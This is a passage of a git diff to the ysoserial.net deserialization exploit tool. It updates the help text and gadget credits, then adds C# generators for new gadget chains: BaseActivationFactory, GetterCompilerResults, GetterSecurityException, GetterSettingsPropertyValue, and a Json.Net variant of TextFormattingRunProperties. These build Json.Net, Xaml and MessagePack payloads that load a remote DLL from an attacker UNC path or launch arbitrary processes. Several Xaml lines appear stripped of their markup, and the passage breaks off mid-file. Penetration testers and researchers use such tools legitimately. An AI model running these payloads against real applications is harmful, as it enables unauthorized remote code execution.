file path. It will be ignored if + --outputpath=VALUE The output file path. It will be ignored if empty. - --minify Whether to minify the payloads where applicable. + --minify Whether to minify the payloads where applicable. Default: false - --ust, --usesimpletype This is to remove additional info only when - minifying and FormatterAssemblyStyle=Simple - (always `true` with `--minify` for binary + --ust, --usesimpletype This is to remove additional info only when + minifying and FormatterAssemblyStyle=Simple + (always `true` with `--minify` for binary formatters). Default: true --raf, --runallformatters - Whether to run all the gadgets with the provided - formatter (ignores gadget name, output format, - and the test flag arguments). This will search - in formatters and also show the displayed + Whether to run all the gadgets with the provided + formatter (ignores gadget name, output format, + and the test flag arguments). This will search + in formatters and also show the displayed payload length. Default: false --sf, --searchformatter=VALUE - Search in all formatters to show relevant - gadgets and their formatters (other parameters + Search in all formatters to show relevant + gadgets and their formatters (other parameters will be ignored). - --debugmode Enable debugging to show exception errors and + --debugmode Enable debugging to show exception errors and output length -h, --help Shows this message and exit. - --fullhelp Shows this message + extra options for gadgets + --fullhelp Shows this message + extra options for gadgets and plugins and exit. - --credit Shows the credit/history of gadgets and plugins + --credit Shows the credit/history of gadgets and plugins (other parameters will be ignored). - --runmytest Runs that `Start` method of `TestingArenaHome` - + --runmytest Runs that `Start` method of `TestingArenaHome` - useful for testing and debugging. ``` @@ -515,80 +595,96 @@ ysoserial.net has been originally developed by Alvaro Munoz (@pwntester) this tool is being maintained by Soroush Dalili (@irsdl) and Alvaro Munoz (@pwntester) Credits for available gadgets: - ActivitySurrogateDisableTypeCheck - [Finders: Nick Landers] - ActivitySurrogateSelector - [Finders: James Forshaw] [Contributors: Alvaro Munoz, zcgonvh] - ActivitySurrogateSelectorFromFile - [Finders: James Forshaw] [Contributors: Alvaro Munoz, zcgonvh] - AxHostState - [Finders: Soroush Dalili] - ClaimsIdentity - [Finders: Soroush Dalili] - ClaimsPrincipal - [Finders: jang] - DataSet - [Finders: James Forshaw] [Contributors: Soroush Dalili] - DataSetOldBehaviour - [Finders: Steven Seeley] [Contributors: Soroush Dalili] - DataSetOldBehaviourFromFile - [Finders: Steven Seeley, Markus Wulftange] [Contributors: Soroush Dalili] - DataSetTypeSpoof - [Finders: James Forshaw] [Contributors: Soroush Dalili, Markus Wulftange, Jang] - GenericPrincipal - [Finders: Soroush Dalili] - ObjectDataProvider - [Finders: Oleksandr Mirosh, Alvaro Munoz] [Contributors: Alvaro Munoz, Soroush Dalili, Dane Evans] - ObjRef - [Finders: Markus Wulftange] - PSObject - [Finders: Oleksandr Mirosh, Alvaro Munoz] [Contributors: Alvaro Munoz] - ResourceSet - [Finders: Soroush Dalili] - RolePrincipal - [Finders: Soroush Dalili] - SessionSecurityToken - [Finders: @mufinnnnnnn, Soroush Dalili] [Contributors: Soroush Dalili] - SessionViewStateHistoryItem - [Finders: Soroush Dalili] - TextFormattingRunProperties - [Finders: Oleksandr Mirosh and Alvaro Munoz] [Contributors: Oleksandr Mirosh, Soroush Dalili] - ToolboxItemContainer - [Finders: @frycos] - TypeConfuseDelegate - [Finders: James Forshaw] [Contributors: Alvaro Munoz] - TypeConfuseDelegateMono - [Finders: James Forshaw] [Contributors: Denis Andzakovic, Soroush Dalili] - WindowsClaimsIdentity - [Finders: Soroush Dalili] - WindowsIdentity - [Finders: Levi Broderick] [Contributors: Alvaro Munoz, Soroush Dalili] - WindowsPrincipal - [Finders: Steven Seeley of Qihoo 360 Vulcan Team] [Contributors: Chris Anastasio] - XamlAssemblyLoadFromFile - [Finders: Soroush Dalili] [Contributors: russtone] + ActivitySurrogateDisableTypeCheck + [Finders: Nick Landers] + ActivitySurrogateSelector + [Finders: James Forshaw] [Contributors: Alvaro Munoz, zcgonvh] + ActivitySurrogateSelectorFromFile + [Finders: James Forshaw] [Contributors: Alvaro Munoz, zcgonvh] + AxHostState + [Finders: Soroush Dalili] + BaseActivationFactory + [Finders: Piotr Bazydlo] + ClaimsIdentity + [Finders: Soroush Dalili] + ClaimsPrincipal + [Finders: jang] + DataSet + [Finders: James Forshaw] [Contributors: Soroush Dalili] + DataSetOldBehaviour + [Finders: Steven Seeley] [Contributors: Soroush Dalili] + DataSetOldBehaviourFromFile + [Finders: Steven Seeley, Markus Wulftange] [Contributors: Soroush Dalili] + DataSetTypeSpoof + [Finders: James Forshaw] [Contributors: Soroush Dalili, Markus Wulftange, Jang] + GenericPrincipal + [Finders: Soroush Dalili] + GetterCompilerResults + [Finders: Piotr Bazydlo] + GetterSecurityException + [Finders: Piotr Bazydlo] + GetterSettingsPropertyValue + [Finders: Piotr Bazydlo] + ObjectDataProvider + [Finders: Oleksandr Mirosh, Alvaro Munoz] [Contributors: Alvaro Munoz, Soroush Dalili, Dane Evans] + ObjRef + [Finders: Markus Wulftange] + PSObject + [Finders: Oleksandr Mirosh, Alvaro Munoz] [Contributors: Alvaro Munoz] + ResourceSet + [Finders: Soroush Dalili] + RolePrincipal + [Finders: Soroush Dalili] + SessionSecurityToken + [Finders: @mufinnnnnnn, Soroush Dalili] [Contributors: Soroush Dalili] + SessionViewStateHistoryItem + [Finders: Soroush Dalili] + TextFormattingRunProperties + [Finders: Oleksandr Mirosh and Alvaro Munoz] [Contributors: Oleksandr Mirosh, Soroush Dalili, Piotr Bazydlo] + ToolboxItemContainer + [Finders: @frycos] + TypeConfuseDelegate + [Finders: James Forshaw] [Contributors: Alvaro Munoz] + TypeConfuseDelegateMono + [Finders: James Forshaw] [Contributors: Denis Andzakovic, Soroush Dalili] + WindowsClaimsIdentity + [Finders: Soroush Dalili] + WindowsIdentity + [Finders: Levi Broderick] [Contributors: Alvaro Munoz, Soroush Dalili] + WindowsPrincipal + [Finders: Steven Seeley of Qihoo 360 Vulcan Team] [Contributors: Chris Anastasio] + XamlAssemblyLoadFromFile + [Finders: Soroush Dalili] [Contributors: russtone] + XamlImageInfo + [Finders: Piotr Bazydlo] Credits for available plugins: - ActivatorUrl - Harrison Neal - Altserialization - Soroush Dalili - ApplicationTrust - Soroush Dalili - Clipboard - Soroush Dalili - DotNetNuke - discovered by Oleksandr Mirosh and Alvaro Munoz, implemented by Alvaro Munoz, tested by @GlitchWitch - Resx - Soroush Dalili - SessionSecurityTokenHandler - Soroush Dalili - SharePoint - CVE-2018-8421: Soroush Dalili, CVE-2019-0604: Markus Wulftange, CVE-2020-1147: Oleksandr Mirosh, Markus Wulftange, Jonathan Birch, Steven Seeley (write-up) - implemented by Soroush Dalili - TransactionManagerReenlist - Soroush Dalili - ViewState - Soroush Dalili + ActivatorUrl + Harrison Neal + Altserialization + Soroush Dalili + ApplicationTrust + Soroush Dalili + Clipboard + Soroush Dalili + DotNetNuke + discovered by Oleksandr Mirosh and Alvaro Munoz, implemented by Alvaro Munoz, tested by @GlitchWitch + GetterCallGadgets + Piotr Bazydlo + NetNonRceGadgets + Piotr Bazydlo + Resx + Soroush Dalili + SessionSecurityTokenHandler + Soroush Dalili + SharePoint + CVE-2018-8421: Soroush Dalili, CVE-2019-0604: Markus Wulftange, CVE-2020-1147: Oleksandr Mirosh, Markus Wulftange, Jonathan Birch, Steven Seeley (write-up) - implemented by Soroush Dalili + ThirdPartyGadgets + Piotr Bazydlo + TransactionManagerReenlist + Soroush Dalili + ViewState + Soroush Dalili Various other people have also donated their time and contributed to this project. Please see https://github.com/pwntester/ysoserial.net/graphs/contributors to find those who have helped developing more features or have fixed bugs. @@ -606,6 +702,7 @@ Please see https://github.com/pwntester/ysoserial.net/graphs/contributors to fin - [Finding and Exploiting .NET Remoting over HTTP using Deserialisation](https://web.archive.org/web/20190330065542/https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2019/march/finding-and-exploiting-.net-remoting-over-http-using-deserialisation/) - [.NET Remoting Revisited](https://codewhitesec.blogspot.com/2022/01/dotnet-remoting-revisited.html) - [Bypassing .NET Serialization Binders](https://codewhitesec.blogspot.com/2022/06/bypassing-dotnet-serialization-binders.html) +- [Exploiting Hardened .NET Deserialization: New Exploitation Ideas and Abuse of Insecure Serialization - Hexacon 2023 Whitepaper](https://github.com/thezdi/presentations/blob/main/2023_Hexacon/whitepaper-net-deser.pdf) ## ysoserial.net references in the wild @@ -661,6 +758,8 @@ Please see https://github.com/pwntester/ysoserial.net/graphs/contributors to fin - https://mogwailabs.de/en/blog/2022/01/vulnerability-spotlight-rce-in-ajax.net-professional/ - https://testbnull.medium.com/some-notes-of-microsoft-exchange-deserialization-rce-cve-2021-42321-f6750243cdcd - https://testbnull.medium.com/note-nhanh-v%E1%BB%81-binaryformatter-binder-v%C3%A0-cve-2022-23277-6510d469604c +- https://www.zerodayinitiative.com/blog/2023/9/21/finding-deserialization-bugs-in-the-solarwind-platform +- https://www.youtube.com/watch?v=ZcOZNAmKR0c&feature=youtu.be ### Talks: - https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf diff --git a/ysoserial/Generators/BaseActivationFactoryGenerator.cs b/ysoserial/Generators/BaseActivationFactoryGenerator.cs new file mode 100644 index 0000000..aaf62f2 --- /dev/null +++ b/ysoserial/Generators/BaseActivationFactoryGenerator.cs @@ -0,0 +1,111 @@ +using NDesk.Options; +using System; +using System.Collections.Generic; +using System.Collections.Specialized; +using System.Diagnostics; +using System.Linq; +using System.Reflection; +using System.Text; +using System.Threading.Tasks; +using System.Windows.Data; +using ysoserial.Helpers; + +namespace ysoserial.Generators +{ + public class BaseActivationFactoryGenerator : GenericGenerator + { + // BaseActivationFactory + // Gadget for .NET 5/6/7 with WPF enabled or Microsoft.WindowsDesktop.App\PresentationFramework.dll available + // BaseActivationFactory constructor leads to kernel32!LoadLibraryExW call, one can load remote native DLL (C/C++) + // As an input (-c), you have to provide a path to the DLL (UNC path can be given). ATTENTION - ".dll" string will be appended to your path, you shouldn't provide it + + public override List SupportedFormatters() + { + return new List { "Json.Net" }; // MessagePack should work too + } + + public override string Name() + { + return "BaseActivationFactory"; + } + + public override string Finders() + { + return "Piotr Bazydlo"; + } + + public override string AdditionalInfo() + { + return "Gadget for .NET 5/6/7 with WPF enabled or Microsoft.WindowsDesktop.App\\PresentationFramework.dll available. Leads to remote DLL loading (native C/C++ DLL)"; + } + + public override List Labels() + { + return new List { GadgetTypes.NotBridgeNotDerived, ".NET 5/6/7", "Requires WPF enabled or PresentationFramework.dll" }; + } + + public override string SupportedBridgedFormatter() + { + return Formatters.BinaryFormatter; + } + + public override object Generate(string formatter, InputArgs inputArgs) + { + + String payload; + String targetPath = ""; + inputArgs.IsRawCmd = true; + + if (!inputArgs.CmdFullString.ToLowerInvariant().EndsWith(".dll")) + { + Console.WriteLine("This gadget loads remote/local file: -c argument should provide a file path to your DLL file\r\nUNC paths can be used for the remote DLL loading, like \\\\attacker\\poc\\your.dll\r\nThis gadget can only load files with DLL extension, as .dll extension will be added to the path during the deserialization\r\nExample: ysoserial.exe -g BaseActivationFactory -f Json.Net -c '\\\\attacker\\poc\\your.dll'"); + Environment.Exit(-1); + } + + if (formatter.ToLower().Equals("json.net")) + { + inputArgs.CmdType = CommandArgSplitter.CommandType.JSON; + + //remove .dll from the targetPath - it will be added by the code during the deserialization + targetPath = inputArgs.CmdFullString; + targetPath = targetPath.Substring(0, targetPath.Length - 4); + + payload = @"{ + '$type':'WinRT.BaseActivationFactory, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35', + 'typeNamespace':'" + targetPath + @"', + 'typeFullName':'whatever' +} +"; + + if (inputArgs.Minify) + { + if (inputArgs.UseSimpleType) + { + payload = JsonHelper.Minify(payload, new string[] { "mscorlib" }, null); + } + else + { + payload = JsonHelper.Minify(payload, null, null); + } + } + + if (inputArgs.Test) + { + try + { + Console.WriteLine("Test not implemented for .NET 5/6/7 gadget. Please test manually on those versions with WPF enabled."); + } + catch (Exception err) + { + Debugging.ShowErrors(inputArgs, err); + } + } + return payload; + } + else + { + throw new Exception("Formatter not supported"); + } + } + } +} diff --git a/ysoserial/Generators/GetterCompilerResultsGenerator.cs b/ysoserial/Generators/GetterCompilerResultsGenerator.cs new file mode 100644 index 0000000..b3205a4 --- /dev/null +++ b/ysoserial/Generators/GetterCompilerResultsGenerator.cs @@ -0,0 +1,170 @@ +using NDesk.Options; +using Newtonsoft.Json.Linq; +using System; +using System.Collections.Generic; +using System.Runtime.Serialization; +using System.Security.Principal; +using System.Windows.Markup; +using ysoserial.Helpers; + +namespace ysoserial.Generators +{ + public class GetterCompilerResultsGenerator : GenericGenerator + { + // CompilerResults + Getter call gadget + // CompilerResults.get_CompiledAssembly leads to the DLL Load: remote DLL loading for .NET 5/6/7 and local DLL loading for .NET Framework + // .NET 5/6/7 requires WPF enabled, as getter-call gadgets exist in WPF assemblies + // Mixed DLLs can be loaded + + // We can deserialize the CompilerResults with proper member values + // and then call the get_CompiledAssembly with one of the getter-call gadgets: + // PropertyGrid + // ComboBox + // ListBox + // CheckedListBox + + // It should be possible to use it with the serializers that are able to call the one-arg constructor + + private int variant_number = 1; // Default + + public override List SupportedFormatters() + { + return new List { "Json.Net"}; // MessagePack should work too + } + + public override string Name() + { + return "GetterCompilerResults"; + } + + public override string Finders() + { + return "Piotr Bazydlo"; + } + + public override string AdditionalInfo() + { + return "Remote DLL loading gadget for .NET 5/6/7 with WPF enabled (mixed DLL). Local DLL loading for .NET Framework if System.CodeDom is available. DLL path delivered with -c argument"; + } + + public override OptionSet Options() + { + OptionSet options = new OptionSet() + { + {"var|variant=", "Variant number. Variant defines a different getter-call gadget. Choices: \r\n1 (default) - PropertyGrid getter-call gadget, " + + "\r\n2 - ComboBox getter-call gadget (may load DLL twice)" + + "\r\n3 - ListBox getter-call gadget" + + "\r\n4 - CheckedListBox getter-call gadget", v => int.TryParse(v, out variant_number) }, + }; + + return options; + } + + public override List Labels() + { + return new List { GadgetTypes.GetterChainNotDerived, "Remote DLL loading for .NET 5/6/7 with WPF Enabled, Local DLL loading for .NET Framework if System.CodeDom is available" }; + } + + public override string SupportedBridgedFormatter() + { + return Formatters.BinaryFormatter; + } + + public override object Generate(string formatter, InputArgs inputArgs) + { + String payload; + String compilerPayload; + inputArgs.IsRawCmd = true; + + if (!inputArgs.CmdFullString.ToLowerInvariant().EndsWith(".dll")) + { + Console.WriteLine("This gadget loads remote (.NET 5/6/7) or local file (.NET Framework, if System.CodeDom is available): -c argument should provide a file path to your mixed DLL file, which needs to end with the \".dll\"\r\nUNC paths can be used for the remote DLL loading, like \\\\attacker\\poc\\your.dll\r\nIf you want to deliver file with a different extension than .dll, please modify the gadget manually\r\nExample: ysoserial.exe -g GetterCompilerResults -f Json.Net -c '\\\\attacker\\poc\\your.dll'"); + Environment.Exit(-1); + } + + if (formatter.ToLower().Equals("json.net")) + { + inputArgs.CmdType = CommandArgSplitter.CommandType.JSON; + + compilerPayload = @"{ + '$type':'System.CodeDom.Compiler.CompilerResults, System.CodeDom, Version=5.0.0.0, Culture=neutral, PublicKeyToken=cc7b13ffcd2ddd51', + 'tempFiles':null, + 'PathToAssembly':'" + inputArgs.CmdFullString + @"' + }"; + + if (variant_number == 2) + { + payload = @"{ + '$type':'System.Windows.Forms.ComboBox, System.Windows.Forms, Version = 4.0.0.0, Culture = neutral, PublicKeyToken = b77a5c561934e089', + 'Items':[ + " + compilerPayload + @" + ], + 'DisplayMember':'CompiledAssembly', + 'Text':'whatever' +}"; + } + else if (variant_number == 3) + { + payload = @"{ + '$type':'System.Windows.Forms.ListBox, System.Windows.Forms, Version = 4.0.0.0, Culture = neutral, PublicKeyToken = b77a5c561934e089', + 'Items':[ + " + compilerPayload + @" + ], + 'DisplayMember':'CompiledAssembly', + 'Text':'whatever' +}"; + } + else if (variant_number == 4) + { + payload = @"{ + '$type':'System.Windows.Forms.CheckedListBox, System.Windows.Forms, Version = 4.0.0.0, Culture = neutral, PublicKeyToken = b77a5c561934e089', + 'Items':[ + " + compilerPayload + @" + ], + 'DisplayMember':'CompiledAssembly', + 'Text':'whatever' +}"; + } + else + { + payload = @"{ + '$type':'System.Windows.Forms.PropertyGrid, System.Windows.Forms, Version = 4.0.0.0, Culture = neutral, PublicKeyToken = b77a5c561934e089', + 'SelectedObjects':[ + " + compilerPayload + @" + ] +}"; + } + + if (inputArgs.Minify) + { + if (inputArgs.UseSimpleType) + { + payload = JsonHelper.Minify(payload, new string[] { "mscorlib" }, null); + } + else + { + payload = JsonHelper.Minify(payload, null, null); + } + } + + if (inputArgs.Test) + { + try + { + SerializersHelper.JsonNet_deserialize(payload); + } + catch (Exception err) + { + Debugging.ShowErrors(inputArgs, err); + } + } + return payload; + } + else + { + throw new Exception("Formatter not supported"); + } + } + } + +} diff --git a/ysoserial/Generators/GetterSecurityExceptionGenerator.cs b/ysoserial/Generators/GetterSecurityExceptionGenerator.cs new file mode 100644 index 0000000..71ef5ca --- /dev/null +++ b/ysoserial/Generators/GetterSecurityExceptionGenerator.cs @@ -0,0 +1,174 @@ +using NDesk.Options; +using Newtonsoft.Json.Linq; +using System; +using System.Collections.Generic; +using System.Runtime.Serialization; +using System.Security.Principal; +using System.Windows.Markup; +using ysoserial.Helpers; + +namespace ysoserial.Generators +{ + public class GetterSecurityExceptionGenerator : GenericGenerator + { + // SecurityException + Getter call gadget + // SecurityException.get_Method leads to the BinaryFormatter.Deserialize + + // We can deserialize the SecurityException and set a proper Method member when serializer supports Serializable interface + // Then, we can call the get_PropertyValue with one of the getter-call gadgets: + // PropertyGrid + // ComboBox + // ListBox + // CheckedListBox + + private int variant_number = 1; // Default + + public override List SupportedFormatters() + { + return new List { "Json.Net" }; + } + + public override string Name() + { + return "GetterSecurityException"; + } + + public override string Finders() + { + return "Piotr Bazydlo"; + } + + public override OptionSet Options() + { + OptionSet options = new OptionSet() + { + {"var|variant=", "Variant number. Variant defines a different getter-call gadget. Choices: \r\n1 (default) - PropertyGrid getter-call gadget, " + + "\r\n2 - ComboBox getter-call gadget (may execute code twice)" + + "\r\n3 - ListBox getter-call gadget" + + "\r\n4 - CheckedListBox getter-call gadget", v => int.TryParse(v, out variant_number) }, + }; + + return options; + } + + public override List Labels() + { + return new List { GadgetTypes.GetterChainAndDerived }; + } + + public override string SupportedBridgedFormatter() + { + return Formatters.BinaryFormatter; + } + + public override object Generate(string formatter, InputArgs inputArgs) + { + byte[] binaryFormatterPayload; + if (BridgedPayload != null) + { + binaryFormatterPayload = (byte[])BridgedPayload; + } + else + { + IGenerator generator = new TypeConfuseDelegateGenerator(); + binaryFormatterPayload = (byte[])generator.GenerateWithNoTest("BinaryFormatter", inputArgs); + } + + string b64encoded = Convert.ToBase64String(binaryFormatterPayload); + + string payload = ""; + string sePayload = @"{ + '$type':'System.Security.SecurityException', + 'ClassName':'System.Security.SecurityException', + 'Message':'Security error.', + 'InnerException':null, + 'HelpURL':null, + 'StackTraceString':null, + 'RemoteStackTraceString':null, + 'RemoteStackIndex':0, + 'ExceptionMethod':null, + 'HResult':-2146233078, + 'Source':null, + 'Action':0, + 'Method':'" + b64encoded + @"', + 'Zone':0 + }"; + + if (formatter.ToLower().Equals("json.net")) + { + if (variant_number == 2) + { + payload = @"{ + '$type':'System.Windows.Forms.ComboBox, System.Windows.Forms, Version = 4.0.0.0, Culture = neutral, PublicKeyToken = b77a5c561934e089', + 'Items':[ + " + sePayload + @" + ], + 'DisplayMember':'Method', + 'Text':'watever' +}"; + } + else if (variant_number == 3) + { + payload = @"{ + '$type':'System.Windows.Forms.ListBox, System.Windows.Forms, Version = 4.0.0.0, Culture = neutral, PublicKeyToken = b77a5c561934e089', + 'Items':[ + " + sePayload + @" + ], + 'DisplayMember':'Method', + 'Text':'watever' +}"; + } + else if (variant_number == 4) + { + payload = @"{ + '$type':'System.Windows.Forms.CheckedListBox, System.Windows.Forms, Version = 4.0.0.0, Culture = neutral, PublicKeyToken = b77a5c561934e089', + 'Items':[ + " + sePayload + @" + ], + 'DisplayMember':'Method', + 'Text':'watever' +}"; + } + else + { + payload = @"{ + '$type':'System.Windows.Forms.PropertyGrid, System.Windows.Forms, Version = 4.0.0.0, Culture = neutral, PublicKeyToken = b77a5c561934e089', + 'SelectedObjects':[ + " + sePayload + @" + ] +}"; + } + + if (inputArgs.Minify) + { + if (inputArgs.UseSimpleType) + { + payload = JsonHelper.Minify(payload, new string[] { "mscorlib" }, null); + } + else + { + payload = JsonHelper.Minify(payload, null, null); + } + } + + if (inputArgs.Test) + { + try + { + SerializersHelper.JsonNet_deserialize(payload); + } + catch (Exception err) + { + Debugging.ShowErrors(inputArgs, err); + } + } + return payload; + } + else + { + throw new Exception("Formatter not supported"); + } + } + } + +} diff --git a/ysoserial/Generators/GetterSettingsPropertyValueGenerator.cs b/ysoserial/Generators/GetterSettingsPropertyValueGenerator.cs new file mode 100644 index 0000000..f87adc6 --- /dev/null +++ b/ysoserial/Generators/GetterSettingsPropertyValueGenerator.cs @@ -0,0 +1,249 @@ +using NDesk.Options; +using Newtonsoft.Json.Linq; +using System; +using System.Collections.Generic; +using System.Runtime.Serialization; +using System.Security.Principal; +using System.Windows.Markup; +using ysoserial.Helpers; + +namespace ysoserial.Generators +{ + public class GetterSettingsPropertyValueGenerator : GenericGenerator + { + // SettingsPropertyValue + Getter call gadget + // SettingsPropertyValue.get_PropertyValue leads to the BinaryFormatter.Deserialize + + // We can deserialize the SettingsPropertyValue with proper member values (like Deserialzed=False and SerializedValue=BinaryFormatter_gadget) + // and then call the get_PropertyValue with one of the getter-call gadgets: + // PropertyGrid + // ComboBox + // ListBox + // CheckedListBox + + // It should be possible to use it with the serializers that are able to call the one-arg constructor + // MessagePack gadget works from version 2.3.75. There is a huge chance that it will also work for older versions after some tweaking. + + private int variant_number = 1; // Default + + public override List SupportedFormatters() + { + return new List { "Json.Net", "Xaml", "MessagePackTypeless", "MessagePackTypelessLz4" }; + } + + public override string Name() + { + return "GetterSettingsPropertyValue"; + } + + public override string Finders() + { + return "Piotr Bazydlo"; + } + + public override OptionSet Options() + { + OptionSet options = new OptionSet() + { + {"var|variant=", "Variant number. Variant defines a different getter-call gadget. Choices: \r\n1 (default) - PropertyGrid getter-call gadget, " + + "\r\n2 - ComboBox getter-call gadget (may execute code twice)" + + "\r\n3 - ListBox getter-call gadget" + + "\r\n4 - CheckedListBox getter-call gadget", v => int.TryParse(v, out variant_number) }, + }; + + return options; + } + + public override List Labels() + { + return new List { GadgetTypes.GetterChainAndDerived }; + } + + public override string SupportedBridgedFormatter() + { + return Formatters.BinaryFormatter; + } + + public override object Generate(string formatter, InputArgs inputArgs) + { + byte[] binaryFormatterPayload; + if (BridgedPayload != null) + { + binaryFormatterPayload = (byte[])BridgedPayload; + } + else + { + IGenerator generator = new TypeConfuseDelegateGenerator(); + binaryFormatterPayload = (byte[])generator.GenerateWithNoTest("BinaryFormatter", inputArgs); + } + + string b64encoded = Convert.ToBase64String(binaryFormatterPayload); + + string payload = ""; + + if (formatter.ToLower().Equals("json.net")) + { + string spvPayload = @"{ + '$type':'System.Configuration.SettingsPropertyValue, System', + 'Name':'test', + 'IsDirty':false, + 'SerializedValue': + { + '$type':'System.Byte[], mscorlib', + '$value':'" + b64encoded + @"' + }, + 'Deserialized':false + }"; + if (variant_number == 2) + { + payload = @"{ + '$type':'System.Windows.Forms.ComboBox, System.Windows.Forms, Version = 4.0.0.0, Culture = neutral, PublicKeyToken = b77a5c561934e089', + 'Items':[ + " + spvPayload + @" + ], + 'DisplayMember':'PropertyValue', + 'Text':'watever' +}"; + } + else if (variant_number == 3) + { + payload = @"{ + '$type':'System.Windows.Forms.ListBox, System.Windows.Forms, Version = 4.0.0.0, Culture = neutral, PublicKeyToken = b77a5c561934e089', + 'Items':[ + " + spvPayload + @" + ], + 'DisplayMember':'PropertyValue', + 'Text':'watever' +}"; + } + else if (variant_number == 4) + { + payload = @"{ + '$type':'System.Windows.Forms.CheckedListBox, System.Windows.Forms, Version = 4.0.0.0, Culture = neutral, PublicKeyToken = b77a5c561934e089', + 'Items':[ + " + spvPayload + @" + ], + 'DisplayMember':'PropertyValue', + 'Text':'watever' +}"; + } + else + { + payload = @"{ + '$type':'System.Windows.Forms.PropertyGrid, System.Windows.Forms, Version = 4.0.0.0, Culture = neutral, PublicKeyToken = b77a5c561934e089', + 'SelectedObjects':[ + " + spvPayload + @" + ] +}"; + } + + if (inputArgs.Minify) + { + if (inputArgs.UseSimpleType) + { + payload = JsonHelper.Minify(payload, new string[] { "mscorlib" }, null); + } + else + { + payload = JsonHelper.Minify(payload, null, null); + } + } + + if (inputArgs.Test) + { + try + { + SerializersHelper.JsonNet_deserialize(payload); + } + catch (Exception err) + { + Debugging.ShowErrors(inputArgs, err); + } + } + return payload; + } + else if (formatter.ToLower().Equals("xaml")) + { + + String bfBytes = XamlWriter.Save(binaryFormatterPayload); + bfBytes = bfBytes.Replace("", ""); + bfBytes = bfBytes.Replace("", ""); + bfBytes = bfBytes.Replace("", ""); + bfBytes = bfBytes.Replace("", ""); + + if (variant_number == 2) + { + payload = "test" + bfBytes + "PropertyValuewatever"; + } + else if (variant_number == 3) + { + payload = "test" + bfBytes + "PropertyValuewatever"; + } + else if (variant_number == 4) + { + payload = "test" + bfBytes + "PropertyValuewatever"; + } + else + { + payload = "test" + bfBytes + ""; + } + + if (inputArgs.Test) + { + try + { + SerializersHelper.Xaml_deserialize(payload); + } + catch (Exception err) + { + Debugging.ShowErrors(inputArgs, err); + } + } + + return payload; + } + else if (formatter.ToLowerInvariant().Equals("messagepacktypeless") || formatter.ToLowerInvariant().Equals("messagepacktypelesslz4")) + { + Console.WriteLine("\r\nThis version of gadget works for MessagePack >= 2.3.75\r\n"); + if (variant_number != 1) + { + Console.WriteLine("GetterSettingsPropertyValue is implemented only for variant 1 (PropertyGrid getter chain). Switching to variant 1.\r\n"); + variant_number = 1; + } + if (formatter.ToLowerInvariant().Equals("messagepacktypeless")) + { + var serializedData = MessagePackGetterSettingsPropertyValueHelper.CreateGetterSettingsPropertyValueGadget(binaryFormatterPayload, false); + + if (inputArgs.Test) + { + try + { + MessagePackGetterSettingsPropertyValueHelper.Test(serializedData, false); + } + catch { } + } + return serializedData; + } + else // LZ4 + { + var serializedData = MessagePackGetterSettingsPropertyValueHelper.CreateGetterSettingsPropertyValueGadget(binaryFormatterPayload, true); + + if (inputArgs.Test) + { + try + { + MessagePackGetterSettingsPropertyValueHelper.Test(serializedData, true); + } + catch { } + } + return serializedData; + } + } + else + { + throw new Exception("Formatter not supported"); + } + } + } + +} diff --git a/ysoserial/Generators/IGenerator.cs b/ysoserial/Generators/IGenerator.cs index 417eb37..a07779a 100644 --- a/ysoserial/Generators/IGenerator.cs +++ b/ysoserial/Generators/IGenerator.cs @@ -34,6 +34,8 @@ public const string NotBridgeNotDerived = "Not bridge or derived", NotBridgeButDervied = "Not bridge but derived", // Bridge has dervied meaning in it too BridgeAndDerived = "Bridge and derived", + GetterChainAndDerived = "Chain of arbitrary getter call and derived gadget", + GetterChainNotDerived = "Chain of arbitrary getter call and not derived gadget", Dummy = "It relies on other gadgets and is not a real gadget on its own (not bridged or derived either)", // We hide these in normal help as they are only valuable for research purposes - example is ResourceSet None = ""; } diff --git a/ysoserial/Generators/TextFormattingRunPropertiesGenerator.cs b/ysoserial/Generators/TextFormattingRunPropertiesGenerator.cs index 2a4a7c5..f41aae9 100644 --- a/ysoserial/Generators/TextFormattingRunPropertiesGenerator.cs +++ b/ysoserial/Generators/TextFormattingRunPropertiesGenerator.cs @@ -4,6 +4,10 @@ using Microsoft.VisualStudio.Text.Formatting; using ysoserial.Helpers; using NDesk.Options; +using System.Collections.Specialized; +using System.Diagnostics; +using System.Reflection; +using System.Windows.Data; namespace ysoserial.Generators { @@ -51,7 +55,7 @@ public override string Finders() public override string Contributors() { - return "Oleksandr Mirosh, Soroush Dalili"; + return "Oleksandr Mirosh, Soroush Dalili, Piotr Bazydlo"; } public override List Labels() @@ -61,7 +65,7 @@ public override List Labels() public override List SupportedFormatters() { - return new List { "BinaryFormatter", "SoapFormatter", "NetDataContractSerializer", "LosFormatter", "DataContractSerializer" }; + return new List { "BinaryFormatter", "SoapFormatter", "NetDataContractSerializer", "LosFormatter", "DataContractSerializer", "Json.Net" }; } public override OptionSet Options() @@ -222,6 +226,47 @@ public override object Generate(string formatter, InputArgs inputArgs) return payload; } + else if (formatter.ToLower().Equals("Json.Net", StringComparison.OrdinalIgnoreCase)) + { + //Xaml Generation borrowed from ObjectDataProviderGenerator + ProcessStartInfo psi = new ProcessStartInfo(); + + psi.FileName = inputArgs.CmdFileName; + if (inputArgs.HasArguments) + { + psi.Arguments = inputArgs.CmdArguments; + } + + StringDictionary dict = new StringDictionary(); + psi.GetType().GetField("environmentVariables", BindingFlags.Instance | BindingFlags.NonPublic).SetValue(psi, dict); + Process p = new Process(); + p.StartInfo = psi; + ObjectDataProvider odp = new ObjectDataProvider(); + odp.MethodName = "Start"; + odp.IsInitialLoadEnabled = false; + odp.ObjectInstance = p; + + String xamlPayload = SerializersHelper.Xaml_serialize(odp); + + String payload = @"{ + '$type':'Microsoft.VisualStudio.Text.Formatting.TextFormattingRunProperties, Microsoft.PowerShell.Editor, Version=3.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35', + 'ForegroundBrush':'" + xamlPayload + @"' +}"; + + if (inputArgs.Test) + { + try + { + SerializersHelper.JsonNet_deserialize(payload); + } + catch (Exception err) + { + Debugging.ShowErrors(inputArgs, err); + } + } + + return payload; + } else { throw new Exception("Formatter not supported"); diff --git a/ysoserial/Generators/XamlImageInfo.cs b/ysoserial/Generators/XamlImageInfo.cs new file mode 100644 index 0000000..afd3809 --- /dev/null +++ b/ysoserial/Generators/XamlImageInfo.cs @@ -0,0 +1,166 @@ +using NDesk.Options; +using System; +using System.Collections.Generic; +using System.Collections.Specialized; +using System.Diagnostics; +using System.IO; +using System.Linq; +using System.Reflection; +using 